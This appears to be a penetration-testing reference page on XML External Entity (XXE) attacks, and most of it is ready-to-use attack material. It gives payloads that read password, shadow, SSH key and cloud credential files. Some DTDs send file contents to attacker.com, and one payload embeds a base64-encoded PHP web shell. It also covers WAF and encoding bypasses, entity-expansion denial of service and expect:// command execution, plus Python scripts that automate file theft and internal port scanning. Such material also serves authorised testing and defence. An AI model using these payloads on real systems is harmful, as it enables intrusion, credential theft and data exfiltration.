Skip to main content

XML External Entity (XXE)

XML External Entity (XXE) is a web security vulnerability that allows an attacker to interfere with an application's processing of XML data. It can lead to disclosure of confidential data, denial of service, server-side request forgery (SSRF), and other system impacts.

How It Works

XXE vulnerabilities arise when an XML parser processes external entity references within XML input. For example:


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

If the parser has external entities enabled, it will read and include the contents of /etc/passwd in the XML processing, potentially exposing it to the attacker.

Detection

Manual Testing​

Basic XXE Tests​

Testing for basic XXE vulnerabilities:

# Step 1: Identify XML input
# Look for Content-Type: application/xml
# Look for XML in POST body
# Check file uploads accepting XML formats

# Step 2: Test with basic external entity
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<data>&xxe;</data>
</root>

# Step 3: Check response
# - File contents visible: Direct XXE
# - Error message with path: Information disclosure
# - No response but delay: Blind XXE possible

# Step 4: Test with HTTP callback
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://your-server.com/xxe-test">
]>
<root>
<data>&xxe;</data>
</root>

# Check your server for incoming request

Parameter Entity Tests​

Testing with parameter entities:


# Basic parameter entity
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
%xxe;
]>
<root></root>

# External DTD with parameter entity
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<root></root>

# evil.dtd content:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;

File Upload XXE Tests​

Testing XXE through file uploads:

# SVG file with XXE
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg width="500" height="500" xmlns="http://www.w3.org/2000/svg">
<text x="0" y="20">&xxe;</text>
</svg>

# DOCX file with XXE
# Unzip DOCX file
# Edit word/document.xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<w:document>
<w:body>
<w:p>
<w:r>
<w:t>&xxe;</w:t>
</w:r>
</w:p>
</w:body>
</w:document>

# XLSX file with XXE
# Edit xl/workbook.xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<workbook>&xxe;</workbook>

SOAP XXE Tests​

Testing XXE in SOAP requests:

# Basic SOAP XXE
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<getUser>
<username>&xxe;</username>
</getUser>
</soap:Body>
</soap:Envelope>

# SOAP with external DTD
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<getData/>
</soap:Body>
</soap:Envelope>

Blind XXE Tests​

Testing when output is not reflected:

# Out-of-band XXE with DNS
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<root></root>

# evil.dtd:
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://%file;.attacker.com/'>">
%all;
%send;

# Out-of-band with HTTP
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<root></root>

# evil.dtd:
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://attacker.com/?data=%file;'>">
%all;
%send;

Automated Discovery​

Using Burp Suite

# Step 1: Identify XML endpoints
# Filter Burp history for Content-Type: application/xml
# Or look for XML in request bodies

# Step 2: Send to Repeater
# Test with basic XXE payload

# Step 3: Use Burp Collaborator
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN">
]>

# Step 4: Use Burp Extensions
# Install: Content Type Converter
# Install: Freddy, Deserialization Bug Finder

Using XXEinjector​

# Basic file extraction
xxeinjector --host=target.com --path=/upload --file=request.txt \
--oob=http --phpfilter

# Directory listing
xxeinjector --host=target.com --path=/api --file=request.txt \
--oob=http --enumports

# Advanced options
xxeinjector --host=target.com --path=/endpoint \
--file=request.txt \
--oob=http \
--phpfilter \
--direct=PARAMETER \
--xslt

Using Nuclei​

# Run XXE templates
nuclei -u https://target.com -t xxe/

# Specific XXE checks
nuclei -u https://target.com -t xxe/blind-xxe.yaml

# With custom headers
nuclei -u https://target.com -t xxe/ -H "Authorization: Bearer TOKEN"

Attack Vectors​

Local File Disclosure​

Reading local files through XXE:

# Linux files
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

# Common Linux targets
file:///etc/passwd # User accounts
file:///etc/shadow # Password hashes (if accessible)
file:///etc/hosts # Host file
file:///etc/hostname # System hostname
file:///proc/self/environ # Environment variables
file:///proc/self/cmdline # Process command line
file:///proc/net/tcp # Network connections
file:///proc/net/fib_trie # Network routes
file:///root/.ssh/id_rsa # SSH private key
file:///root/.bash_history # Command history

# Windows files
file:///c:/windows/win.ini
file:///c:/windows/system32/drivers/etc/hosts
file:///c:/boot.ini
file:///c:/windows/system32/config/sam

# Application files
file:///var/www/html/config.php
file:///var/www/.env
file:///home/user/.aws/credentials

PHP Wrappers Exploitation​

Using PHP wrappers for advanced file access:

# Base64 encode file content (bypasses special chars)
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<root>&xxe;</root>

# Read PHP source code
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=config.php">
]>
<root>&xxe;</root>

# Execute PHP code (if enabled)
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-decode/resource=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=">
]>
<root>&xxe;</root>

# Read POST data
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://input">
]>
<root>&xxe;</root>

SSRF via XXE​

Using XXE to perform SSRF attacks:


# Internal network scanning
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://192.168.1.1/">
]>
<root>&xxe;</root>

# AWS metadata
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root>&xxe;</root>

# Internal services
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://localhost:8080/admin">
]>
<root>&xxe;</root>

# Gopher protocol for service exploitation
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "gopher://127.0.0.1:6379/_INFO">
]>
<root>&xxe;</root>

Denial of Service​

DoS attacks through XXE:


# Billion Laughs Attack (Exponential Entity Expansion)
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

# External entity with large file
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///dev/random">
]>
<root>&xxe;</root>

# Recursive entity definition
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe "&xxe;">
]>
<root>&xxe;</root>

Blind XXE with OOB Data Exfiltration​

Exfiltrating data when no output is visible:

# Step 1: Injection payload
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<root></root>

# Step 2: evil.dtd on attacker server
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://attacker.com/collect?data=%file;'>">
%all;
%send;

# Step 3: With base64 encoding (for special characters)
# Injection:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<root></root>

# evil.dtd:
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://attacker.com/collect?data=%file;'>">
%all;
%send;

XInclude Attacks​

Using XInclude when DOCTYPE is not controllable:

# Basic XInclude
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</root>

# XInclude with URL
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="http://attacker.com/evil.xml"/>
</root>

# XInclude in SOAP
<soap:Body xmlns:xi="http://www.w3.org/2001/XInclude">
<getUser>
<xi:include parse="text" href="file:///etc/passwd"/>
</getUser>
</soap:Body>

Bypass Techniques​

DTD Restrictions Bypass​

Bypassing DTD blocking:

# Using XInclude (no DOCTYPE needed)
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</root>

# XLIFF file format
<xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<file>
<body>
<trans-unit>
<source>&xxe;</source>
</trans-unit>
</body>
</file>
</xliff>

# SVG with foreign object
<svg xmlns="http://www.w3.org/2000/svg">
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<text>&xxe;</text>
</svg>

Entity Reference Bypass​

Alternative entity syntax:

# Hexadecimal entity encoding
<!ENTITY xxe "&#x66;&#x69;&#x6c;&#x65;&#x3a;&#x2f;&#x2f;&#x2f;&#x65;&#x74;&#x63;&#x2f;&#x70;&#x61;&#x73;&#x73;&#x77;&#x64;">

# Decimal entity encoding
<!ENTITY xxe "&#102;&#105;&#108;&#101;&#58;&#47;&#47;&#47;&#101;&#116;&#99;&#47;&#112;&#97;&#115;&#115;&#119;&#100;">

# Using CDATA
<!ENTITY xxe "<![CDATA[file:///etc/passwd]]>">

# Character references
<!ENTITY % file "file&#x3a;///etc/passwd">

Protocol Bypass​

Using alternative protocols:

# When file:// is blocked, try others
<!ENTITY xxe SYSTEM "http://localhost/file">
<!ENTITY xxe SYSTEM "https://localhost/file">
<!ENTITY xxe SYSTEM "ftp://localhost/file">
<!ENTITY xxe SYSTEM "php://filter/resource=/etc/passwd">
<!ENTITY xxe SYSTEM "expect://ls">
<!ENTITY xxe SYSTEM "data://text/plain;base64,SGVsbG8=">

# Gopher for raw TCP
<!ENTITY xxe SYSTEM "gopher://127.0.0.1:6379/_INFO">

# Dictionary protocol
<!ENTITY xxe SYSTEM "dict://127.0.0.1:11211/stats">

Encoding Bypass​

Different encoding methods:

# UTF-16 encoding
<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

# UTF-7 encoding (rare but possible)
<?xml version="1.0" encoding="UTF-7"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

# HTML entities in URLs
<!ENTITY xxe SYSTEM "file&#x3a;&#x2f;&#x2f;&#x2f;etc&#x2f;passwd">

# URL encoding
<!ENTITY xxe SYSTEM "file%3a%2f%2f%2fetc%2fpasswd">

Content-Type Manipulation​

Changing content-type to trigger XML parsing:

## Original request (JSON)

POST /api/user HTTP/1.1
Content-Type: application/json

{"username":"test"}

Change to XML​

POST /api/user HTTP/1.1
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<user>
<username>&xxe;</username>
</user>

Try variations​

Content-Type: text/xml
Content-Type: application/x-xml
Content-Type: application/xhtml+xml

WAF Bypass​

Evading WAF detection:

# Case variation
<!DOCTYPE foo [<!EnTiTy xxe SYSTEM "file:///etc/passwd">]>
<!doctype foo [<!entity xxe SYSTEM "file:///etc/passwd">]>

# Whitespace and newlines
<!DOCTYPE foo [
<!ENTITY
xxe
SYSTEM
"file:///etc/passwd"
>
]>

# Comments
<!DOCTYPE foo [<!--comment--><!ENTITY xxe SYSTEM "file:///etc/passwd"><!--comment-->]>

# Mixed encoding
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "&#x66;ile:///etc/passwd">]>

# Multiple DOCTYPE declarations
<!DOCTYPE foo>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>

Post-Exploitation​

###Sensitive File Extraction

Systematically extracting valuable files:

# Python script for automated file extraction
import requests
import base64

files_to_read = [
"/etc/passwd",
"/etc/shadow",
"/etc/hosts",
"/root/.ssh/id_rsa",
"/var/www/html/config.php",
"/var/www/.env",
"/proc/self/environ",
]

url = "https://target.com/api/xml"

for file_path in files_to_read:
# Using PHP filter for base64 encoding
payload = f'''<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource={file_path}">
]>
<root>&xxe;</root>'''

response = requests.post(url, data=payload, headers={
'Content-Type': 'application/xml'
})

if response.status_code == 200:
try:
# Extract base64 content
content = extract_content(response.text)
decoded = base64.b64decode(content).decode()
print(f"[+] {file_path}:")
print(decoded)
print("-" * 50)
except:
print(f"[-] Failed to extract: {file_path}")

Cloud Credentials via XXE​

Extracting cloud metadata:


# AWS credentials
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root>&xxe;</root>

# Then extract specific role
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE-NAME]">
]>
<root>&xxe;</root>

# Azure credentials
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/">
]>
<root>&xxe;</root>

# GCP credentials (requires header, may not work)
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token">
]>
<root>&xxe;</root>

Internal Port Scanning​

Scanning internal networks:

# Port scanning via XXE
import requests

target_url = "https://vulnerable.com/api/xml"
internal_ip = "192.168.1.100"
ports = [21, 22, 23, 25, 80, 443, 3306, 5432, 6379, 8080]

for port in ports:
payload = f'''<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://{internal_ip}:{port}/">
]>
<root>&xxe;</root>'''

try:
response = requests.post(target_url, data=payload, timeout=5)
if "Connection refused" not in response.text:
print(f"[+] Port {port} appears open")
except requests.Timeout:
print(f"[*] Port {port} timeout (possibly filtered)")
except:
pass

Code Execution via XXE​

Achieving RCE in specific scenarios:

# Expect protocol (if expect extension enabled in PHP)
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "expect://ls">
]>
<root>&xxe;</root>

# Execute command
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "expect://whoami">
]>
<root>&xxe;</root>

# Via file write + inclusion (PHP)
# Step 1: Write shell via FTP (if FTP wrapper enabled)
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "ftp://user:pass@localhost/shell.php">
]>
<root>&xxe;</root>

# Step 2: Include written file
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/resource=/tmp/shell.php">
]>
<root>&xxe;</root>

Overview​

XML External Entity (XXE) tooling encompasses automated exploitation frameworks, document payload generators, proxy tools, and local XML parsers used for verification and defense testing.

note

Ensure you have explicit authorization before running scanning, exploitation, or payload testing tools against any target environment.

Tools Matrix​

ToolDescriptionPrimary Use Case
XXEinjectorXXE exploitation toolAutomated XXE testing
Burp SuiteWeb vulnerability scannerManual XXE testing
OXML_XXEXXE in Office documentsDocument-based XXE
xmllintXML parserLocal testing
XXExploiterXXE exploitation frameworkAdvanced XXE exploitation
NucleiVulnerability scannerXXE detection

Detailed Tool Breakdown​

Burp Suite​

  • Primary Use: Manual XXE testing
  • Description: A comprehensive web application testing platform used to intercept, craft, and inject custom XML payloads to evaluate parser behavior.

Nuclei​

  • Primary Use: XXE detection
  • Description: A fast, template-driven vulnerability scanner capable of automating the detection of known XXE misconfigurations across web endpoints.

xmllint​

  • Primary Use: Local testing
  • Description: A command-line XML parser that allows developers and security researchers to parse and validate XML files locally to observe entity resolution.